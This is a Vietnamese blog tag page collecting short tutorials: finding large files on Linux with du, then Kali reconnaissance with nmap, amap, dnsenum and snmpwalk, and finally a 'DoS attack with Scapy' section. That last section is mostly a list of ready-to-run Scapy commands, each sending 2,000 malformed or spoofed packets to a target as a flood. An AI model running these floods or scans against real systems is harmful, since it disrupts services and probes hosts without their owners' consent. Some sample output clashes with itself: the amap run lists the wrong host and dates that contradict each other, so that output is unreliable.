Hiển thị các bài đăng có nhãn Tutorial. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn Tutorial. Hiển thị tất cả bài đăng

Tìm top 10 file/thư mục chiếm nhiều dung lượng nhất trên Linux

Trong một số trường hợp, bạn cần tìm nhanh xem file hay thư mục nào đang chiếm nhiều dung lượng nhất trên ổ cứng. Và thông thường, chúng ta sẽ cần tìm ở một số thư mục chính có khả năng chiếm nhiều dung lượng như /tmp, /home hay /var.
Trên Linux không có lệnh đơn nào cho phép thống kê các file/thư mục chiếm nhiều dung lượng. Mặc dù vậy, bằng sự kết hợp của 3 lệnh cơ bản sau đây (sử dụng câu lệnh ghép), bạn sẽ dề dàng tìm thấy những file/thư mục đang chiếm nhiều dung lượng nhất.


  • du: Tính dung lượng ổ cứng mà file/thư mục đang chiếm dụng.
  • sort: Sắp xếp các dòng của một file text hoặc của dữ liệu truyền vào.
  • output: Hiển thị phần đầu nội dung một file văn bản, ví dụ 10 dòng đầu tiên của kết quả sau sắp xếp sẽ là 10 file/thư mục chiếm nhiều dung lượng nhất.
Gõ dòng lệnh sau để bắt đầu tìm 10 file/thư mục chiếm nhiều dung lượng nhất:
# du -a /var | sort -n -r | head -n 10
1008372 /var
313236 /var/www
253964 /var/log
192544 /var/lib
152628 /var/spool
152508 /var/spool/squid
136524 /var/spool/squid/00
95736 /var/log/mrtg.log
74688 /var/log/squid
62544 /var/cache
Nếu bạn muốn một kết quả quen thuộc hơn, dễ hiểu hơn thì có thể thử phương án sau:
$ cd /path/to/some/where
$ du -hsx * | sort -rh | head -10
Trong đó:
  • cd /path/to/some/where: là lệnh di chuyển tới đường dẫn của thư mục cần kiểm tra dung lượng.
  • Lệnh du với tham số -h (du -h): Hiện kết quả với định dạng quen thuộc với người dùng (ví dụ: 1K, 234M, 2G).
  • Lệnh du với tham số -s (du -s): Chỉ hiện thống kê chung kết quả kiểm tra của lệnh du.
  • Lệnh du với tham số -x (du -x): Bỏ qua thư mục khác định dạng file hệ thống của hệ điều hành.
  • Lệnh sort với tham số -r (sort -r): Đảo ngược kết quả so sánh.
  • Lệnh sort với tham số -h (sort -h): So sánh bằng tham số điều chỉnh the đơn vị đo lường quen thuộc (K, M, G). Chỉ áp dụng cho lệnh sort cài thêm theo giấy phép phần mềm GNU.
  • Lệnh head với tham số -10 hoặc -n 10 (head -10 hoặc head -n 10): Hiển thị 10 dòng đầu tiên của kết quả tìm kiếm.

Thu thập thông tin trong Kali

Xác định các dịch vụ đang chạy là một bước rất quan trong khi thử nghiệm thâm nhập một hệ thống mạng. Trong bài này chúng ta tìm hiểu một số cách quét sử dụng tool tích hợp sẵn trong kali.



1. Tìm kiếm các port đang mở

Trong cửa sổ lệnh nhập lệnh:

nmap 192.168.56.101

Kết quả:


Bên trên liệt kê tát cả các port đang mở, nhưng hình như là nó quá nhiều. Chúng ta chỉ muốn quét cách port dưới 600, câu lệnh đơn giản như sau:

nmap -p 1-600 192.168.56.101

Kết quả:


Một vấn để đặt ra là chúng ta phải tìm kiếm xem trong dải mạng 192.168.56.X có bao nhiêu host mở cổng 22 (ssh), câu lệnh cũng rất đơn giản:

nmap -p 22 192.168.56.*


Nmap có phiên bản đồ họa gọi là zenmap. Bạn có thể tìm thấy ở Applications| Kali Linux| Information 
Gathering| Network Scanners| zenmap.



2. Chi tiết dịch vụ và hệ điều hành đang chạy

Chúng ta sẽ sử dụng công cụ nmap để quét. Trong cửa sổ lệnh bạn gõ lệnh sau:

nmap -sV 192.168.10.200

---
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-03-28 
05:10 CDT
Interesting ports on 192.168.10.200:
Not shown: 1665 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd 5.0
25/tcp open smtp Microsoft ESMTP 5.0.2195.6713
80/tcp open http Microsoft IIS webserver 5.0
119/tcp open nntp Microsoft NNTP Service 5.0.2195.6702 
(posting ok)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
443/tcp open https?
445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds
1025/tcp open mstask Microsoft mstask
1026/tcp open msrpc Microsoft Windows RPC
1027/tcp open msrpc Microsoft Windows RPC
1755/tcp open wms?
3372/tcp open msdtc?
6666/tcp open nsunicast Microsoft Windows Media Unicast 
Service (nsum.exe)
MAC Address: 00:50:56:C6:00:01 (VMware)
Service Info: Host: DC; OS: Windows
Nmap finished: 1 IP address (1 host up) scanned in 63.311 
seconds

Bên cạnh nmap bạn cũng có thể sử dụng amap để tìm kiếm một dịch vụ đang chạy trên một port cụ thể:

amap -bq 192.168.10.200 200-300

/* câu lệnh trên là quét từ port 200 tới 300 trên host 192.168.10.200 xem có dịch vụ gì đang chạy */

---
amap v5.4 (www.thc.org/thc-amap) started at 2012-03-28 
06:05:30 - MAPPING mode
Protocol on 127.0.0.1:212/tcp matches ssh - banner: SSH-2.0-OpenSSH_3.9p1\n
Protocol on 127.0.0.1:212/tcp matches ssh-openssh - banner: 
SSH-2.0-OpenSSH_3.9p1\n
amap v5.0 finished at 2005-07-14 23:02:11

/* Dịch vụ ssh thường chạy mặc định ở port 22, nhưng QTM đã thay đổi sang port 212 */




Thu thập thông tin sử dụng DNS và SNMP trên Kali

Thu thập thông tin là một bước rất quan trọng trong thử nghiệp thâm nhập một hệ thống nào đó. Bài viết này chia sẻ cách tìm kiếm thông tin qua DNS và SNMP sử dụng các tool có sẵn trên kali.



1. Sử dụng DNSsenum để thu thập thông tin tên miền. Để chạy lệnh bạn gõ vào cửa sổ dòng lệnh:

cd /usr/bin
./dnsenum --enum cctuts.com

Chúng ta sẽ nhận được một đầu ra với các thông tin như máy chủ , tên máy chủ  , mail server ...

Một số tùy chọn chúng ta có thể sử dụng:


  • -- threads [number]: số tiến trình có thể chạy cùng lúc
  • -r cho phép bạn để cho phép tra cứu đệ quy
  • - d cho phép bạn thiết lập thời gian trễ trong giây giữa các yêu cầu WHOIS
  • -o cho phép chúng ta xác định vị trí đầu ra
  • - w cho phép các truy vấn WHOIS
2. Sử sụng snmpwalk để kiểm tra một máy chủ windows. Trên của sổ dòng lệnh bạn gõ:

snmpwalk -c public 192.168.10.200 -v 2c

Kiểm tra các phần mềm cài đặt tại target


snmpwalk -c public 192.168.10.200 -v 1 | grep 
hrSWInstalledName

HOST-RESOURCES-MIB::hrSWInstalledName.1 = STRING: "VMware 
Tools"
HOST-RESOURCES-MIB::hrSWInstalledName.2 = STRING: "WebFldrs"

Kiểm tra các cổng đang mở.

snmpwalk -c public 192.168.10.200 -v 1 | grep tcpConnState | cut -d"." -f6 | sort –nu


21
25
80
443



Tấn công Dos sử dụng Scapy

Scapy là một công cụ tấn công DOS phổ biến hiện nay. Được viết bằng python, scapy là công tụ thao tác gói tin trong mạng máy tính. Nó có thể phân tích, giả mạo  cũng như bắt các gói tin đi qua. Ngoài ra nó còn có thể xử lý công việc như quét, thăm dò , kiểm tra , phát động các cuộc tấn công , và phát hiện mạng .



Scapy được tích hợp sẵn trong Kali, bạn chỉ cần mở cửa sổ lệnh gõ Scapy là bạn đã có thể tấn công mục tiêu.

Câu lệnh rất đơn giản:

send(IP(dst="xxxx.xxxx.xxxx.xxxx",ttl=0)/TCP(),iface="eth0",count=2000)

Ở đây tôi gửi 2000 gói tin tới IP có địa chỉ x.x.x.x, thời gian sống của gói tin là 0. Bạn có thể tùy chỉnh thông số của mình.

Dưới đây là các dạng tấn công có thể sử dụng với Scapy

Bad IP Version

send(IP(dst="10.0.0.1", src="10.20.30.40", version=0)/TCP(dport="www"), iface="eth0", count=2000)

Bad TCP Checksum

send(IP(dst="10.0.0.1")/TCP(chksum=0x5555),iface="eth0",count=2000)

Bad TCP Flags (All Cleared and SEQ# == 0)

send(IP(dst="10.0.0.1")/TCP(flags="",seq=555),iface="eth0",count=2000)

Bad TCP flags (All Flags Set)

send(IP(dst="10.0.0.1")/TCP(flags=0x0ff),iface="eth0",count=2000)

FIN Only Set

send(IP(dst="10.0.0.1")/TCP(flags="F"),iface="eth0",count=2000)

Header Length > L2 Length

send(IP(dst="10.0.0.1", src="10.20.30.40", ihl=15L)/TCP(dport="www"), iface="eth0", count=2000)

Header length Too Short

send(IP(dst="10.0.0.1", src="10.20.30.40", ihl=2L)/TCP(dport="www"),iface="eth0", count=2000)

ICMP Flood

send(IP(dst="10.0.0.1")/ICMP(),iface="eth0",count=2000)

IP Error Checksum

send(IP(dst="10.0.0.1", src="10.20.30.40", chksum=0x5500)/TCP(dport="www"), iface="eth0", count=2000)

IP Fragment

send(IP(dst="10.0.0.1", src="10.20.30.40", frag=1)/TCP(dport="www"),iface="eth0", count=2000)

IP Length > L2 Length

send(IP(dst="10.0.0.1", src="10.20.30.40", ihl=5L, len=80)/TCP(dport="www"), iface="eth0", count=2000)

IP Source Address == Destination Address

send(IP(dst="10.0.0.1", src="10.0.0.1")/TCP(dport="www"), iface="eth0", count=2000)

L2 Length >> IP Length

send(IP(dst="10.0.0.1",len=32)/Raw(load="bla-bla-bla-bla-bla-bla-bla-bla"),iface="eth0",count=2000)

send(IP(dst="10.0.0.1",len=32)/UDP(dport=80,len=48)/Raw(load="bla-bla-bla-bla-bla-bla-bla-bla"),iface="eth0",count=2000)

send(IP(dst="10.0.0.1",len=32)/ICMP()/Raw(load="bla-bla-bla-bla-bla-bla-bla-bla"),iface="eth0",count=2000)

No L4

send(IP(dst="10.0.0.1", src="10.20.30.40"), iface="eth0", count=2000)

SYN && FIN Set

send(IP(dst="10.0.0.1")/TCP(flags="FS"),iface="eth0",count=2000)

TCP Header Length > L2 Length

send(IP(dst="10.0.0.1", src="10.20.30.40")/TCP(dport="www", dataofs=15L), iface="eth0", count=2000)

TCP Header Length Too Short (Length < 5)

send(IP(dst="10.0.0.1", src="10.20.30.40")/TCP(dport="www", dataofs=1L), iface="eth0", count=2000)